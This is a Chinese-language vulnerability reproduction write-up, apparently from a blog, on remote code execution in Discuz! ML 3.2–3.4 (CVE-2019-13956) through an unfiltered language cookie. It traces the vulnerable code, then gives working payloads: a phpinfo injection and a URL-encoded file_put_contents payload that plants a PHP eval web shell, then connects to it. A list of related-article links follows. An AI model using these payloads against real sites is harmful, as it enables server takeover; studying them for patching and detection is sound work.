一、漏洞描述

该漏洞存在discuz ml(多国语言版)中,cookie中的language可控并且没有严格过滤,导致可以远程代码执行。

二、漏洞影响版本

Discuz! ML V3.2

Discuz! ML V3.3

Discuz! ML V3.4

三、漏洞环境搭建

1、 官网下载Discuz! ML V3.4,下载地址: http://discuz.ml/download

2、 将压缩包解压到phpstudy网站根目录,浏览器访问upload目录开始安装

  

3、然后就是一直点击下一步就可以了,直到完成安装

  

四、漏洞复现

1、漏洞存在的位置/upload/source/module/portal/portal_index.php,使用template函数处理’diy:portal/index’,然后使用include_once包含

  

2、跟进template函数,发现把DISCUZ_LANG函数拼接成为一个缓存文件名,然后又返回了缓存文件名

  

3、跟进DISCUZ_LANG函数,发现从cookie中取language的值给$lng

  

4、继续浏览代码,发现把$lng的值赋给DISCUZ_LANG了

  

5、到此为止,整个漏洞分析过程已结束,过程如下:

外部参数$lng(即cookie中的language语言)可控,导致DISCUZ_LANG函数获取$lng,然后拼接成缓存文件并且返回了缓存文件名,导致template函数生成的缓存文件名可控,插入自己的代码,最终include_once函数包含一下导致了代码注入(执行了插入恶意代码的缓存文件名)。

6、测试漏洞,随便点击一个页面,抓包,将Cookie中的xxx_language参数值改为’.phpinfo().’,发现成功执行了代码

  

7、查看缓存文件,发现缓存文件名被修改如下

  

8、getshell

8.1尝试上传一个shell,构造payload,如下:

'.file_put_contents('shell.php','<?php eval($_POST[cmd]);?>').'

执行提示错误,可能是编码的原因

  

8.2、尝试对payload进行全部编码,失败,只有使用如下payload才能成功

%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2550%254f%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27

  

8.3、查看是否成功上传shell.php,发现成功上传

  

8.4、菜刀连接

  

Discuz! ML远程代码执行(CVE-2019-13956)相关推荐

  1. Discuz远程代码执行(CVE-2019-13956)

    漏洞介绍: 该漏洞存在discuz ml(多国语言版)中,cookie中的language可控并且没有严格过滤,导致可以远程代码执行. 利用的vulnfocus 的环境. 漏洞分析: 漏洞出现在    ...

  2. Discuz! 7.1 7.2 远程代码执行漏洞

    首先说一下,漏洞是t00ls核心群传出去的,xhming先去读的,然后我后来读的,读出来的都是代码执行,1月5日夜里11点多钟,在核心群的黑客们的要求下,xhming给了个poc,我给了个exp,确实 ...

  3. php x24 x65 x6d x61,Jboss远程代码执行漏洞CVE:2013-4810获得system权限

    此方法成功的渗透至Windows系统并获得最高权限exp 此方法成功的渗透至Windows系统并获得最高权限 exp ?php/*Apache Tomcat/JBoss EJBInvokerServl ...

  4. windows server 2012 远程连不上_CVE20201350 | Windows DNS Server远程代码执行漏洞通告

    0x00 漏洞概述 CVE   ID CVE-2020-1350 时     间 2020-07-15 类     型 RCE 等     级 严重 远程利用 是 影响范围 0x01 漏洞详情 微软于 ...

  5. CVE-2021-1675: Windows Print Spooler远程代码执行漏洞

    ** 赶紧点击上方话题进行订阅吧!** 报告编号:B6-2021-062902 报告来源:360CERT 报告作者:360CERT 更新日期:2021-06-29 1 漏洞简述 2021年06月29日 ...

  6. CVE-2021-34527: Windows Print Spooler 蠕虫级远程代码执行漏洞

    报告编号:B6-2021-062902 报告来源:360CERT 报告作者:360CERT 更新日期:2021-07-02 1 更新概览 1.漏洞简述新增360CERT对CVE-2021-34527( ...

  7. Microsoft Remote Procedure Call Runtime 远程代码执行漏洞(CVE-2022-26809)

    CVE-2022-26809 RCE CVE 描述 CVE-2022-26809 - 核心 Windows 组件 (RPC) 的弱点获得 9.8 的 CVSS 分数并非没有原因,因为攻击不需要身份验证 ...

  8. 绿盟安全事件响应观察及远程代码执行漏洞

    人和管理成为主要入侵突破口 安全需要人.技术.管理的全方位保障,然而人与管理由于其复杂性,常常成为入侵突破口.在 19 年处理的安全事件 中,弱口令事件占比 22%,钓鱼邮件相关事件占比 7%,配置不 ...

  9. 微软多个 Windows 系统存在远程代码执行漏洞(ICMP协议)(MPS-2023-1376)

    漏洞描述 Internet Control Message Protocol (ICMP) 协议是TCP/IP协议簇的一个子协议,用于在IP主机.路由器之间传递控制消息.raw socket 是一种网 ...

  10. 微软远程桌面服务远程代码执行漏洞

    人和管理成为主要入侵突破口 安全需要人.技术.管理的全方位保障,然而人与管理由于其复杂性,常常成为入侵突破口.在 19 年处理的安全事件中,弱口令事件占比 22%,钓鱼邮件相关事件占比 7%,配置不当 ...

最新文章

  1. 为解决Thymeleaf数字格式化问题而想到的几种方案
  2. python语言的理解-初学Python语言者必须理解的下划线
  3. NMF 非负矩阵分解
  4. linux下的驱动大小,(转)Linux驱动开发需要注意的点/KO大小/内存管理
  5. linux 中文意思,linux 中 ~/. 是什么意思
  6. MySQL越高版本越快吗_MySQL性能优化的最佳20+条经验
  7. 插件化开发与GUI开发
  8. css常用选择器选择器
  9. 五种开源API网关实现组件对比
  10. Monkey test 汇总
  11. 如何安装旧版iOS软件?
  12. 简明C语言教程(七)scanf 用法
  13. java程序写一个数的平方根_Java程序查找给定数字的平方根
  14. mysql物理删除索引_mysql创建索引,mysql索引优化,mysql索引创建删除
  15. 生成HTML表格的后台模板代码
  16. C++在屏幕中输出数字d0...while
  17. Swift MonkeyKing分享工具
  18. 关于JackJson接收前端UTC格式化报错SON parse error: Cannot deserialize value of type `java.util.Date` from String
  19. 【NOI2008】假面舞会(图论,搜索)
  20. *1 计算机基础和操作系统基础及几大协议

热门文章

  1. 深度解析TCP/IP---网络原理的重重之重
  2. php电竞酒店系统,星云电竞酒店管理系统
  3. 2021年12月中国各省市认证证书数量排行榜:Top前四的省份证书数累计占全国比重超过50%(附月榜TOP34详单)
  4. 什么是量子加密(一)
  5. infogan 生成mnist 手写数字
  6. Python爬虫从入门到精通:(14)验证码识别_Python涛哥
  7. 中心极限与大数定理律的关系_实数系基本定理(一)
  8. curl的安装与配置
  9. c语言调用数学函数根号,不调用库函数求根号x的计算方法(二分/三分/牛顿迭代法)...
  10. 解决手机邮箱登录学生邮箱时服务器无法连接的问题